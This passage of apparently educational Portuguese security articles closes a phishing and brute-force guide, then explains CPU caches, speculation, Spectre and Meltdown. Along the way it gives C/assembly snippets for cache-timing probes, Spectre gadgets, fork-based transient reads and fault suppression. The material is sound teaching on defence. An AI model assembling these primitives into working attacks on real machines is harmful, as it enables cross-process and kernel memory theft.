seguir, em denunciar fraude. Fonte: https://www.uol.com.br SMS: Sempre que receber mensagens por SMS com links evite clicar. Entre em contato com o suposto remetente por outros meios previamente conhecidos, ignorando totalmente o SMS. Essas mensagens geralmente falam sobre valores cobrados indevidamente ou dívidas. Veja o exemplo: Fonte: https://www.agazeta.com.br Ataque Man-In-The-Middle (MITM) Nesse tipo de ataque, o atacante intercepta uma comunicação de forma que ambos os interlocutores não percebam a sua presença e, eventualmente, troquem dados sensíveis. Um exemplo muito comum é a criação de uma página web muito parecida com um determinado serviço, como páginas web de bancos, em que a vítima insere os dados de acesso. A seguir, a página fake de fato envia a vítima para o site real de forma que, ao acessar o serviço, não percebe que algo errado ocorreu. Porém, nesse momento o atacante já terá as credenciais de acesso da vítima. Fonte: https://medium.com Esse ataque é muito usado em conjunto com o ataque de engenharia social para que o atacante consiga fazer a vítima entrar em seu site fake pensando que está entrando no site real. A via de entrada para esses sites fake geralmente são e-mails ou SMS enviados por atacantes usando o ataque de phishing explicado na seção anterior. Para se evitar esse ataque, fique sempre atento ao site que está acessando, verificando se é de fato o site real do serviço desejado. Além disso, uma boa prática é, sempre que possível, acessar serviços através de aplicativos de celular baixado da loja oficial do sistema operacional do seu smartphone (Google Play, Apple App Store, Windows Phone Store, etc.). Ataque de Força Bruta Ataques de força bruta são aqueles em que o atacante testa diversas senhas até encontrar a correta. Por esse motivo, é importante o uso de senhas sempre distintas entre si, sendo cada uma delas aleatórias e contendo letras (maiúsculas e minúsculas), números e símbolos. Veja na imagem abaixo a relação entre tipos de caracteres, número de caracteres usados e o tempo médio necessário para o atacante conseguir descobrir a senha: Fonte: Hive Systems/Divulgação Para que não esqueça nenhuma das suas senhas mesmo elas sendo grandes, aleatórias e distintas entre si, uma recomendação é o uso de gerenciadores de senha, como o Google Passwords, presente no navegador Chrome e em todos os smartphones com sistema Android. Para a maioria dos sites, esse ataque não funciona diretamente, pois há verificações que impedem muitas tentativas consecutivas. Porém, isso não impede que o ataque possa ocorrer, pois é muito comum falhas em relação a armazenamento de bancos de dados (recentemente a imprensa divulgou vários ataques a eles, com uma massiva quantidade de dados) que disponibilizam na Internet dados cadastrais. Ataques a bancos de dados são tão comuns que não é recomendado o armazenamento de senhas de forma explícita. O que fica armazenado nos bancos de dados são hashes das senhas, isto é, funções conhecidas porém irreversíveis calculadas a partir das senhas, de forma que a partir da senha digitada, o site pode calcular a mesma função para determinar se foi digitada corretamente. Porém, um atacante com acesso ao banco de dados não terá as senhas de forma explícita, mas em posse das hashes, ele fica com tempo hábil e quantidade de tentativas ilimitadas para tentar possíveis valores da sua senha. Por isso a necessidade de se criarem senhas "fortes" e da aleatoriedade, pois sabendo dos dados presentes nessas tabelas e sabendo que as pessoas costumam escolher senhas fáceis de lembrar e, portanto, não aleatórias, os atacantes usam dicionários de palavras para fazerem tentativas mais inteligentes, demorando menos tempo para chegar às senhas corretas. Para se ter uma ideia da diferença que isso faz, conforme o site wikwik, existem 6669 palavras de 5 letras na língua portuguesa, porém existem 11881376 combinações de 5 letras minúsculas (quase 2000 vezes mais). Se levarmos em consideração também letras maiúsculas, números e símbolos, ainda desconsiderando letras acentuadas, temos um total de 7339040224 combinações de 5 letras (1 milhão de vezes mais que o número de palavras). Essa quantidade mostra a importância de usarmos senhas aleatórias e com a maior quantidade possível de tipos de caracteres. Referências Authentication - Wikipedia Phishing - Wikipedia Social engineering - Wikipedia Troy Hunt Verificação em duas etapas no WhatsApp - Techtudo O que é um ataque Man-in-the-Middle - Kaspersky
  6. Neste artigo vamos abordar os principais tópicos referentes a microprocessadores modernos como hierarquia de memória, pipelines, execução fora de ordem e analisar como essas features contribuiram para o surgimento de vulnerabilidades especulativas como o Spectre e o Meltdown. Como CPUs funcionam? As CPUs contêm um grupo de comandos bem definidos que permitem realizar operações lógicas e aritiméticas, ler e escrever na memória, fazer comparações, e controlar o fluxo de execução do próprio programa. O programador tem acesso a parte dessa interface da CPU através de instruções de máquina, que permitem ao programador solicitar diretamente à CPU para que esses comandos sejam realizados. Um exemplo de sequência de instruções é: 1.mov ax,8 2.mov bx,10 3.add ax,bx Registradores são as unidades de armazenamento mais rápidas em termos de tempo de acesso, pois estão presentes dentro da CPU e estão fisicamente próximas das unidades de execução, que serão responsáveis por realizar as operações matemáticas na Unidade Lógica aritimética (ULA). No exemplo acima foram utilizados dois registradores, o ax e o bx para realizar uma soma. Para o programador é importante que essas instruções sejam executadas na ordem correta, pois caso as instruções 2 e 3 troquem de posição isso poderia resultar em um comportamento inesperado do programa. Todavia, o ciclo completo de execução de uma única instrução possui várias etapas demoradas. Entre elas pode-se citar: - A leitura da própria instrução; - A decodificação da instrução pela CPU, realizando o chaveamento e a decisão de qual caminho o dado manipulado deve tomar; - A resolução dos acessos a memória, se houverem; - A execução da operação aritimética ou lógica, se houver; - A escrita do resultado na memória, se houver. Hierarquia de memória Para compreender por que certas operações demoram mais que as outras é preciso abordar o conceito de hierarquia de memória. Devido a questões de tecnologia empregada, proximidade física e densidade de armazenamento, os computadores utilizam uma combinação de dispositivos de armazenamento. Em geral componentes mais rápidos como registradores e caches localizam-se próximos a CPU, pois são constantemente utilizados. Esses componentes priorizam velocidade acima de densidade de bits ou custo e pelo fato de estarem próximos ao local de uso estão restritos a uma quantidade pequena. No outro extremo estão componentes lentos, mas com alta capacidade como SSDs e HDDs, que acabam priorizando armazenamento total e custo ao invés de velocidade. | Tecnologia empregada | Tempo tipico de acesso | $ por GB em 2012 | | -------- | -------- | -------- | | SRAM | 0.5-2.5 ns | $500-$1000 | | DRAM | 50-70 ns | $10-$20 | | FLASH | 5000 5000 | $0.75-$1.00 | | Disco Magnético | 5000000 - 20000000 ns | $0.05-$0.10 | Adaptado de Computer Organization and Design RISC-V Edition: The Hardware Software Interface Localidade Temporal e espacial A hierarquia de memória se baseia no princípio de que o acesso aos dados não é puramente aleatório. Devido à estrutura das operações mais comuns em programas como loops, acessos sequenciais a listas, e até mesmo o acesso das próprias instruções que tendem a seguir um fluxo sequencial, tem-se os conceitos de localidade temporal e espacial. A localidade temporal é quando um dado recentemente acessado tem alta probabilidade de ser acessado novamente, como em índices de loops e contadores. A localidade espacial diz respeito ao acesso de posições de memória próximas. Por exemplo, quando o elemento 2 de uma lista é acessado, provavelmente o elemento 3 também será. Quando esses dados são trazidos para níveis superiores da hierarquia de memória, a próxima vez que esses itens precisarem ser acessados, os níveis inferiores não precisarão ser consultados, permitindo um acesso mais rápido ao dado. Hit rate, Miss rate Sabendo as taxas de acerto dos componentes da hierarquia pode-se calcular o tempo de acesso médio a memória e observar o impacto que determinados componentes possuem. Tomando como exemplo (não muito realista) a seguinte estrutura: | Componente |Tempo de acesso | Taxa de Acerto | | -------- | -------- | ----- | | Cache | 2 ns | 90% | | DRAM | 70ns |90% | | FLASH |5000ns |100% | Acontece que: Em 90% dos acessos o dado estará na cache e tempo de resposta será 2ns; Em 90% das 10% (9%) das ocorrências em que o dado não estava na cache, ele estará na DRAM e o tempo de resposta será 2ns (busca na cache) + 70ns (busca na DRAM); Nos 1% de acessos que não foram satisfeitos pelos componentes superiores o tempo de acesso será 5000ns +70ns+2ns. Portanto, o tempo médio de acesso será: 0.9 * 2ns + 0.09 * 72ns + 0.01 * 572ns = 14ns Ao remover a cache o tempo médio subiria para: 0.99 * 70ns + 0.01 * 570ns = 75ns Pipeline Conforme visto no programa abaixo, diversas etapas são necessarias para a execução completa de uma instrução. Todavia, durante esse processo o dado é utilizado apenas em um componente por vez, deixando os demais elementos da CPU ociosos, por exemplo durante o cálculo de uma soma na ULA não existem leituras de instruções feitas pela memória. Uma forma de melhorar o Throughtput de instruções seria permitir que os componentes ociosos trabalhem em forma de uma cadeia de produção, assim como ocorrem em uma linha de montagem, permitindo então reduzir o período de clock total pois cada etapa do processo pode ser feita em menos tempo. |Operação | 1 | 2 | 3 | 4 | 5 | 6 | 7 | |------------------------------------------------| |Leitura de instrução| A | B | C | | | | | |Decodificacao | | A | B | C | | | | |Execução | | | A | B | C | | | |Memória | | | | A | B | C | | |Escrita | | | | | A | B | | Diagrama da execução das instruções A B e C ao longo dos ciclos 1-7 no estágio 3 por exemplo as unidades de Leitura, decodificação e execução estão ativas simultaneamente Todavia ao contrário de uma linha de produção em uma fábrica, instruções não são completamente independentes umas das outras. Considere a seguinte sequência: A. add ax,[bx] B. jz $+1 C. nop Neste caso, a finalização da instrução A ocorrerá no melhor dos casos, apenas no ciclo 5, podendo levar ainda mais tempo dependendo de qual posição na hierarquia de memória o dado apontado por bx está. Todavia o pipeline necessita escolher se faz a leitura da instrução C ou a próxima ($+1) logo no ciclo 3. Quando isso ocorre, a CPU pode decidir esperar o resultado da operação o que acarretaria em perda de performance ou realizar uma predição sobre o pulo. Predição O exemplo acima trata de um desvio condicional. Ou seja, existem apenas dois caminhos possíveis que a CPU pode executar, tomar ou não tomar o pulo. Para auxiliar a decisão existem componentes internos na CPU chamados preditores de desvio, que coletam informações sobre os pulos recentes tomados para auxiliar na decisão. O exemplo mais simples é do contador de saturação ilustrado abaixo. Quando o desvio é tomado diversas vezes o preditor se adapta e passa a aceitar os próximos pulos tomados. Preditor condicional de 2 bits. Extraido de https://en.wikipedia.org/wiki/Branch_predictor if (*canRun){ f1(); } else{ f2(); } Exemplo de código que pode gerar comportamento especulativo caso a variável apontada por canRun não esteja na cache por exemplo Quando é necessário predizer o próximo endereço, é realizada uma execução especulativa ou seja, o processador não tem certeza se o caminho de execução está correto, então todos os resultados feitos a partir da predição são armazenados em registradores de rascunho. Quando a condicional que gerou a execução especulativa for resolvida (canRun foi lida da memória por exemplo), caso o caminho tomado esteja correto os resultados são gravados nos registradores verdadeiros, levando a um ganho de desempenho. Se o caminho tomado estiver incorreto os resultados presentes nos registradores de rascunho são descartados e é necessário executar o caminho correto dessa vez, levando a um desempenho semelhante ao obtido se o processador tivesse esperado a avaliação ter sido concluida. Processador superescalar e execução fora de ordem As CPUs modernas possuem mais do que uma única unidade de execução por núcleo, permitindo em algumas situações realizar mais do que uma instrução por ciclo de clock. Para que o uso de mais de um unidade de execução simultânea seja funcional ele deve ser capaz de alocar as instruções sem que haja uma alteração no resultado da operação a ser computada visando paralelizar as operações a serem realizadas. As instruções podem ser re-ordenadas e executadas fora de ordem desde que a dependência entre elas seja obedecida. Para que as instruções possam ser reordenadas elas devem respeitar os três riscos ao pipeline Read After Write mov rax,2 mov rbx,rax Não podem ser trocadas de ordem pois o resultado da segunda instrução seria alterado Write After Read mov rbx,rax mov rax,2 Não podem ser trocadas de ordem pois o resultado da primeira instrução seria alterado Write After Write mov rbx,rax mov rax,rbx Não podem ser trocadas de ordem pois o resultado de ambas instrução seriam alterados Desde que respeitadas essas dependências a CPU pode reordenar instruções para executar várias operações em paralelo. Abaixo esta representada a unidade de execução de uma CPU moderna. Unidades de execução presentes em um único núcleo de uma CPU modernas intel. Extraído de https://mdsattacks.com/ Uma forma simples de demonstrar o paralelismo a nivel de instrução é com o código a seguir. No primeiro bloco existem 200 instruções inc esi . Devido a dependência Write after Write elas não poderão ser trocadas de ordem ou executadas em paralelo. No segundo bloco existem 100 instruções inc esi e 100 instruções inc edi. Embora haja dependência entre o valor atual do registrador esi e o anterior, o par de instruções pode ser executado em paralelo, pois não há dependência entre eles. Dessa forma, é esperado um desempenho próximo de 200 ciclos para o primeiro bloco e próximo de 100 ciclos para o segundo bloco. Foram utilizadas as instruções rdtsc para realizar a medição do "tempo" de execução e lfence para serializar a instrução rdtsc, garantindo que ela não será reordenada. O resultado do programa (executado em um i5-7500) mostra 264 ciclos para o primeiro bloco e 146 para o segundo. Considerando o overhead esperado pela execução do rdstd; lfence os resultados indicam um throughput mínimo de 0.75 instruções por ciclo para o primeiro bloco e 1.36 para o segundo bloco, evidenciando o comportamento superescalar da CPU. //gcc -masm=intel -o ilp ilp.c #include <stdio.h> int main(){ int time1; int time2; asm __volatile__( "lfence ;" "rdtsc ;" "lfence ;" "mov ecx,eax ;" ".rept 200 ;" "inc esi ;" ".endr ;" "lfence ;" "rdtsc ;" "sub eax,ecx ;" "mov %0,eax ;" :"=r"(time1) ); asm __volatile__( "lfence ;" "rdtsc ;" "lfence ;" "mov ecx,eax ;" ".rept 100 ;" "inc edi ;" "inc esi ;" ".endr ;" "lfence ;" "rdtsc ;" "sub eax,ecx ;" "mov %0,eax ;" :"=r"(time2) ); printf("Ciclos gastos no bloco 1: %i\n",time1); printf("Ciclos gastos na bloco 2: %i\n",time2); } $ ./ilp Ciclos gastos no bloco 1: 264 Ciclos gastos na bloco 2: 146 Operação da Cache A Cache de um processador funciona como uma pequena e rápida memória dentro do chip da CPU que salva o conteúdo dos últimos e próximos endereços a serem acessados. Quando uma CPU solicita um byte para a memória devido ao barramento ser de 64 bits e as memórias serem otimizadas para operação em modo burst bem mais dados do que o que foi solicitados chegam a CPU, assim a cache guarda os dados recebidos para quando eles forem solicitados novamente não seja necessário requisitar a memória novamente e a resposta seja muito mais rápida. A cache armazena os dados em forma de linhas, onde cada linha contém múltiplos bytes (64 bytes atualmente). Quando o endereço solicitado chega a cache, ele é dividido da seguinte forma: | Tag | Set | Offset| | --- | --- | --- | Offset é a posição do byte na linha da cache, Set é o endereço da linha na Cache e a Tag é o restante. A tag é guardada para poder diferenciar endereços com mesmo set e offset. Em uma CPU com 256 linhas e 64 bytes cada linha o tamanho de cada parte seria: |Offset | bits 0-5 | |Set | bits 6-13 | |Tag | bits 14-63 | Paginação e Translation Lookasidebuffer Processadores modernos necessitam executar múltiplos programas simultaneamente, para isso um dos problemas a ser resolvido é o gerenciamento de memória.Um processo A não deve ser capaz de ler ou escrever na memória de um processo B, se isso fosse possível um programa mal escrito provavelmente causaria um crash acidental nos demais programas ao escrever no endereço errado, ou então um malware seria capaz de ler memória de outros usuários da mesma máquina. Além disso, programas que foram compilados para utilizarem endereços virtuais idênticos devem ser capazes de executar ao mesmo. O compilador não é capaz de conhecer previamente quais endereços estarão sendo utilizados durante a execução do programa.Para isso, o sistema operacional é responsável em realizar a tradução de endereços virtuais(escolhidos pelo compilador) para endereços físicos(utilizados pelo chip de ram). #include <stdio.h> int main(){ printf("ola mundo!\n"); } $objdump -s test Contents of section .rodata: 402000 01000200 6f6c6120 6d756e64 6f2100 ....ola mundo!. Endereço virtual 0x402000 utilizado para a string "ola mundo!" Os sistemas operacionais atuais isolam a memória de processos através de paginação. Toda vez que um programa acessa a memória o endereço é traduzido de endereço virtual para físico através da consulta da tabela de páginação no sistema operacional. Essa tradução é feita através da tabela de paginação, uma região de memória em que o kernel pode escrever os valores do endereço físico de cada página a ser traduzida. Por questões de economia de espaço, ela é dividida em níveis. Caso essa divisão não exsitisse, para páginas de 4kb de tamanho e 48-bits de espaço de endereçamento e 8 bytes de entrada seriam necessários 2^36 indices, portanto 2^36 * 8 = 512GB para um único processo. Quando a tabela de paginação é divida em dirietórios, se o diretório superior possui 10 entradas, apenas as entradas utilizadas provocarão uma alocação dos diretórios inferiores, reduzindo o total de espaço alocado para a tabela de paginação. É importante ressaltar que junto ao endereço físico armazenado em cada entrada, estão presentes também as permissões da cada página como leitura, escrita e execução. Caso uma instrução viole a permissão de leitura ou escrita por exemplo a CPU gera uma exceção de Segmentation Fault que pode fazer com que a execução do programa seja suspensa. Esquema de páginação de 4 níveis utilizado no linux. Adaptado de https://jasoncc.github.io/kernel/jasonc-mm-x86.html Para aumentar o desempenho essa tabela é cacheada através do Translation lookaside buffer, que guarda os mapeamentos recentes entre endereço virtual e físico, evitando assim com que a memória seja consultada toda vez que um endereço seja acessado. Quando uma troca de contexto ocorre como o chaveamento entre dois processos, o registrador CR3 que aponta para a base da tabela é trocado e a TLB deve receber um flush para invalidar suas entradas. --- Observação Devido ao desuso da segmentação, o endereço virtual usualmente será o mesmo que o endereço linear que seria obtido após a segmentação e utilizado como entrada para o mecanismo de paginação. --- Observando o estado da micro arquitetura - Cache Side Channels Attacks Um ataque de side channel é um ataque que ao invés de buscar uma falha no algoritmo, exfiltra ou obtem informação sensível de um sistema baseado em algum efeito colateral durante a sua execução. Alguns exemplos de side channel Frequencia de rádio Air-Fi permite um atacante exfiltrar dados de um computador comprometido mas sem acesso a internet, utilizando o barramento de memória como placa de rede sem fio. TempestSDR permite um atacante recuperar a imagem transmitida para um monitor através das ondas eletromagnéticas transmitidas pelo cabo HDMI. Consumo de energia Ataques de análise de consumo de energia podem ser capazes de identificar quais etapas do algoritmo de encriptação estão sendo executadas e assim extrair a chave utilizada. (rhme2 CTF https://github.com/Riscure/Rhme-2016) Tempo Checagens de senhas com tempo variável podem permitir descobrir quantos caracteres em uma senha estão corretos e assim realizar um ataque de força bruta com muito mais facilidade Cache Permite observar efeitos colaterais da execução de outros programas, bem como observar os efeitos de operações internas de CPU que deveriam ser invisíveis ao programador, como execução especulativa por exemplo. Para compreender melhor os ataques a seguir vamos escolher um tipo de side channel de cache que será utilizado como método de exfiltração dos segredos obtidos pelos ataques a seguir. Copy on write e ataques de side channel Porém, nem sempre é desejavel que os processos isolem completamente sua memória. Seções de memória comuns a diversos processos como bibliotecas podem ser compartilhadas através do mecanismo de Copy on Write. Nele, quando uma página é carregada através da syscall de mmap com um arquivo como parâmetro se aquele arquivo já estiver mapeado em memória não é criada uma nova página. Caso o processo deseje alterá-lo, uma cópia privada da página é criada e passa a ser exclusiva para aquele processo, por isso o nome Copy on Write. Embora não haja nenhum problema de segurança inerente desse mecanismo pois para que haja compartilhamento as seções devem ser idênticas, o mero compartilhamento da memória física pode gerar interferências entre processos, como será visto ao analisar o tempo de resposta da memória para essas regiões. Diagrama de dois processos compartilhando a região de bibliotecas. Quando o endereço virtual referente a biblioteca é traduzido, ele aponta para uma única região da memória RAM Exemplo de programa vulnerável a side channel void main(){ //emojiList é compartilhada por COW pois está em uma biblioteca char *flag="segredo"; char t; while (1){ for (int i=0;flag[i]!='\0';i++){ t = emojiList[flag[i] * 160]; } } } No exemplo acima, o conteúdo da variável flag, a principio não conhecida pelo atacante é utilizado como índice para acessar o array `emojiList`. Quando um acesso ocorre, o emoji passa estar presente na cache, de tal forma que o próximo acesso vai ter um tempo de resposta inferior. Sabendo disso um atacante poderia constantemente medir o tempo de resposta de cada valor possível do emojiList e quando detectar um tempo de resposta rápido, inferir qual caracter foi utilizado como índice. Para essa manipulação de cache, são utilizados duas instruções RDTSC - Read Time Stamp Counter, que lê um registrador que conta quantos ciclos se passaram desde o boot da máquina. É utilizada como um relógio muito preciso para a medição de tempo CLFLUSH - Permite invalidar uma linha da cache dado um endereço. É utilizada para impedir que a própria medição do tempo de acesso leve a um falso positivo na proxima medição LFENCE - Realiza uma operação de serialização em todos os pedidos de leitura da memória anteriores a instrução LFENCE. Instruções subsequentes a LFENCE podem ser lidas mas elas não serão executadas especulativamente até a finalização da LFENCE. MFENCE - Funciona de forma semelhante a LFENCE mas funciona também para pedidos de escrita. Um exemplo de medição seria unsigned long probe_timing(char *adrs) { volatile unsigned long time; asm volatile( " mfence \n" " lfence \n" " rdtsc \n" " lfence \n" " movl %%eax, %%esi \n" " movl (%1), %%eax \n" " lfence \n" " rdtsc \n" " subl %%esi, %%eax \n" " clflush 0(%1) \n" : "=a" (time) : "c" (adrs) : "%esi", "%edx" ); return time; } Para que um sistema seja vulnerável a esse tipo de ataque é necessário que haja uma clara distinção entre o tempo de resposta de um dado presente apenas na memória e um dado em cache. Para isso é possível testar: char globalVar[4096]={1,4,7,8,5,9,1}; int main(){ unsigned long t1,t2; unsigned long count=0; double total_access,total_evict; total_access=0; total_evict=0; for(unsigned i=0;i<100;i++){ if (i%2==0){ maccess((void *)&globalVar[44]); } t1=probe_timing((void *)&globalVar[44]); count++; if (i%2==0){ printf("time w acess: %lu\n",t1); total_access+=(double)t1; } else{ printf("time no acess: %lu\n",t1); total_evict+=(double)t1; } } printf("avg cached=%lf\n",total_access/50); printf("avg evicted=%lf\n",total_evict/50); return 0; ... time w acess: 68 time no acess: 304 time w acess: 66 time no acess: 308 avg cached=68.400000 avg evicted=347.200000 # head /proc/cpuinfo processor : 0 vendor_id : GenuineIntel cpu family : 6 model : 158 model name : Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz stepping : 9 cpu MHz : 3408.006 cache size : 6144 KB Botando o tempo de resposta de cada acesso no gráfico, pode-se perceber a diferença do tempo de acesso entre dados presentes na cache e na memória principal e se estabelecer um limite para decidir se o dado esta na cache. Diferença do tempo de resposta da memória para dados em cache O ataque originalmente foi criado para vazar chaves criptográficas entre usuários usando a biblioteca GnuPG. Posterioremente o exploit foi adotado em outros ataques de micro arquitetura como canal para vazar segredos obtidos de forma especulativa. Spectre O spectre se baseia no envenenamento de preditores para realizar a execução de código que não deveria ser executado. Dessa forma um atacante consegue enganar a CPU a burlar checagens de limite ou até obter execução de código (espculativa) no processo da vitima. Isso traz implicações sérias de segurança para o isolamento entre processos e sandboxes como navegadores. Variant 1 - Exploiting Conditional Branch Missprediction if (x < array1_size) y = array2[array1[x] * 4096]; O código acima mostra um exemplo de programa vulnerável ao spectre em que o atacante possui controle da variável x.Na primeira linha existe uma checagem do limite do valor x para impedir que o conteúdo do array1 seja acessado fora desse limite o que poderia gerar uma exceção ou um acesso a um dado sensível no espaço de endereço do processo da vítima. A segunda linha consistem em um alvo para um side channel attack. O conteúdo do array1 é utilizado como indice para o array2. É possível mensurar quais elementos do array2 estão em cache através de ataques como flush+reload caso array2 seja compartilhado via COW ou através de outros side channels mais complexos como prime+probe que não necessitam de memória compartilhada. Utilizando apenas o side channel é possível obter o conteúdo do array1, porém o exploit do spectre amplia o escopo do ataque permitindo vazar endereços fora do limite do array. Manipulação de preditor A primeira linha realiza uma checagem que está passível a ser especulada. Caso o valor de array1_size demore para ser lido, o processador criará um ponto de especulação e tera de decidir se o desvio será tomado. Um atacante com o controle do x pode manipular o preditor para treinar a CPU a sempre executar o bloco dentro da condicional. Supondo um valor de array1_size=10 por exemplo uma sequencia de entradas como: 0,0,0,0,0,0,0,0,20 faria o preditor saturar na posição de desvio não tomado fazendo com que ao tratar a entrada x=20; y = array2[array1[20] * 4096]; seja executado de forma especulativa e o segredo presente na posição 20 seja vazado, o que pode ser outra variável. Exploits dessa categoria são perigosos para navegadores pois podem ser implementados de forma semelhante em javascript. Um código em javascript que seja capaz de ler a memória do próprio processo pode extrair cookies e dados sensíveis de outros domínios. Antes da checagem de limite ser realizada, o preditor de desvio continua a execução no caminho mais provável, levando a uma melhora do desempenho quando correto. Todavia se a checagem do limite for indevidamente predita como verdadeira pode levar um atacante a vazar informação em algumas sitauções. Extraido de: Spectre Attacks: Exploiting Speculative Execution É importante notar também que cada núcleo da CPU possui o próprio preditor de desvio, portanto para que esse ataque seja bem sucedido quando executado em processos diferentes eles sejam escalonados para executarem no mesmo núcleo, seja através do escalonador do sistema operacional ou através de mecanismos Simultaneous MultiThreading (SMT). V2 Poisoning Indirect Branches Conforme já foi abordado, preditores condicionais tem apenas duas opções para escolher sobre o pulo, tomar ou não tomar. Porém existem instruções que permitem pulos para endereços armazenados em variáveis por exemplo que possuem um comportamento um pouco mais complicado de predizer. call rbx ;branch direto jump rcx ;branch direto call [rax] ;branch indireto São todas instruções que necessitam do preditor indireto. Esses tipos de instruções são geradas quando o programa precisa dinamicamente descobrir o que executar. funções que recebem ponteiros para outras funções ou até mesmo Virtual tables podem gerar esse comportamento. Para realizar essa predição a CPU possui um Branch Target Buffer (BTB) que armazena os endereços de origem e destino dos desvios indiretos mais recentes. Diagrama do preditor de desvio Incondicional - Extraído de Exploiting Speculative Execution Para efetuar o ataque o programa do atacante deve treinar o BTB para que quando a vitima execute o desvio indireto o atacante tenha controle do endereço de destino. A técnica utilizada é muito semelhante a Return Oriented Programing (ROP), pois constrói o código de ataque utilizando pedaços do código da vítima, porém não há nenhuma corrupção de memória envolvida.O único meio de obter informação é através do estado da cache. Layout de um ataque de Spectre V2 Para performar o ataque o atacante deve alinhar em seu processo o endereço do pulo ou chamada e treinar o preditor para outro endereço. Como entrada para o preditor são utilizados os endereços virtuais do programa, portanto além de ser necessário identificar a existência de um spectre gadget é necessário também saber o seu endereço. Exemplo de gadget encontrado na função Sleep em ntdll.dll no Windows adc edi,dword ptr [ebx+edx+13BE13BDh] adc dl,byte ptr [edi] Quando os registradores ebx e edi são controlados pelo atacante através de entradas para o programa, o atacante é capaz de fornecer um endereço alvo, tal que ebx = alvo - edx -13BE13BDh e manipular edi para ser a base do array de medição. A primeira instrução executa uma leitura no endereço desejado e a segunda instrução utiliza o segredo lido como endereço para acessar o array. Posteriormente o atacante deve executar um dos ataques de side channel para descobrir qual endereço foi acessado de forma especulativa, vazando assim o dado condido no endereço apontado por alvo. Mitigações Devido ao spectre se basear em padrões específicos de outros programas, a mitigação não é trivial e é usualmente feita de forma individual. Prevenção de especulação É possível utilizar instruções de serialização ou de bloqueio de especulação como LFENCE antes de trechos de código vulneráveis como branches condicionais ou indiretos. Prevenção do envenenamento de branches Alguns mecanismos são capazes de previnir a especulação entre diferentes domínios: Indirect Branch Restricted Speculation (IBRS) impede com que branches de código menos privilegiado afetem branches de código de maior privilégio; Single Thread Indirect Branch Prediction (STIBP) evita que códigos executados no mesmo núcleo e em threads diferentes (exemplo hyperthreading) compartilhem as mesmas predições; Indirect Branch Predictor Barrier (IBPB) permite colocar barreiras que impedem com que o estado do BTB afetem a próxima execução (através de flush do BTB por exemplo); Retpotline substitui as chamadas indiretas por instruções de retorno, e forçam com que o endereço seja especulado para um endereço seguro. Meltdown O Meltdown ocorre devido ao tempo de resposta que uma exeção leva até que a execução do processo seja suspensa, ou a exceção seja tratada. Nesse período, o programa continua a executar de forma fora de ordem e/ou especulativa, mesmo após a ocorrência de uma exceção. O meltdown ameaça a barreiras de segurança sendo capaz de ler memória de outros processos, kernel e até memória de outros usuários em ambientes virtualizados em nuvem. Mapeamento de memória O espaço de endereçamento de um processo em execução é dividido em várias seções, cada uma contendo um ou mais páginas. Texto - Estão presentes as instruções geradas a partir de funções, em resumo é o código do programa possui em geral permissões de leitura e execução; Data - Utilizada para variáveis globais já inicializadas; BSS - Contem as variáveis globais não inicializadas que são portanto criadas com o valor 0; Heap - Armazena as variáveis criadas dinamicamente, como a heap possui tamanho dinâmico; Stack - Guarda as variáveis de escopo local, como variáveis de funções, bem como endereços de retornos. Data, heap, BSS e stack possuem geralmente permissão de leitura e escrita; Kernel - O kernel é mapeado em todos os processos em execução. Páginas de kernel possuem um bit indicando que não são acessíveis em modo usuário, portanto um acesso a essa região provoca um segfault. Embora seja um pouco contraintuitivo, o kernel é mapeado como área do processo por uma questão de performance. Conforme foi visto anteriormente, durante toda troca de contexto é necessário limpar o TLB e ler novamente a tabela de paginação, o que leva tempo e traz um impacto negativo na performance, sobretudo se um programa realiza muitas chamadas de sistema operacional (diversas leituras de arquivo por exemplo), o que força a troca de contexto com maior frequência. Para reduzir esse efeito o kernel é mapeado no espaço de endereçamento virtual do processo, dessa forma não é necessário realizar o flush na TLB. Exceções e execução fora de ordem No exemplo abaixo a primeira linha provoca uma exceção ao ler um endereço de memória que não possui permissão de leitura. Isso fará com que o programa seja terminado e portanto a segunda linha deveria ser incapaz de executar. Porém devido a forte característica de execução fora de ordem do processador, é possível que antes do controle ser passado ao Exception handler, as instruções subsequentes possam ser executadas provocando alteração de estado na micro arquitetura (ex cache), apesar de seus resultados nunca serem resgatados. raise_exception(); access(probe_array[data * 4096]); Fluxo de execução após uma exceção. Extraido de Meltdown: Reading Kernel Memory from User Space Apesar de as instruções serem executadas de forma transiente, o programa ainda está destinado a terminar. Portanto é necessário ou tratar a excessão ou impedir que ela aconteça em primeiro lugar. Tratamento de exceção O caso mais simples de tratameto de exceção é através da execução de um fork logo antes do acesso que gera o seg fault. Dessa forma o processo filho realiza a execução transiente, passando o segredo através de alterações do estado da cache para o processo pai. char readByte(unsigned char *addr){ volatile char tmp; if(fork()){ readSideChannel(); } else{ tmp = probe[(*addr)*4096]; } } O problema ao utilizar fork como tratamento de exceção é o custo de criar um novo processo para a tentativa de leitura de um byte. Uma alternativa mais performática seria utilizar a syscall sys_rt_sigaction para instalar um exception handler que permita a continuação do programa mesmo após a ocorrência de um segfault. No exemplo abaixo, o acesso ao endereço 0 é capturado pelo handler instalado no programa.` #include <stdio.h> #define __USE_GNU #include <ucontext.h> #include <signal.h> void segFaultHandler(int signum, siginfo_t* ignored, void* context) { ((ucontext_t*)context)->uc_mcontext.gregs[REG_RIP]++; printf("Exception captured\n"); } int main(){ struct sigaction sigstruct; sigstruct.sa_handler = SIG_DFL ; sigstruct.sa_sigaction = segFaultHandler; sigstruct.sa_flags = SA_SIGINFO; sigaction(SIGSEGV, &sigstruct, NULL); int a =0; int b = *(int *)a; printf("finished execution\n"); } $./sig Exception captured Exception captured finished execution Supressão de exceção Uma outra alternativa para evitar a finalização do processo é impedir que a exceção seja provocada em primeiro lugar. Utilizando uma técnica muito semelhante a vista na variante 1 do spectre, é possível induzir a CPU a acessar especulativamente o endereço de kernel através de uma perdição incorreta, dessa forma a exceção nunca será gerada. //adaptação do Spectre v1 para Metldown com supressão de exceção if (x < array1_size) y = array2[array1[kernel_offset] * 4096]; Leitura de memória de outros processos Para que o kernel seja capaz de realizar operações como copy_from_user é conveniente que toda a memória física seja mapeada no espaço de endereçamento do kernel. Toda a memória física esta mapeada no kernel. A seção em azul está mapeada tanto acessivel no espaço do usuário quanto no kernel através de mapeamentp direto. Extraído de Meltdown: Reading Kernel Memory from User Space Portanto um ataque que seja capaz de ler memória do kernel, ao iterar pelo espaço de usuário do kernel eventualmente lê a memória dos demais processos em execução. Mitigações Devido a vulnerabilidade se encontrar no comportamento de execução fora de ordem do processador as mitigações não são triviais, embora sejam mais efetivas que o spectre, devido ao comportamento específico de ataque ao kernel do spectre. KASLR De forma semelhante ao Address Space Layout 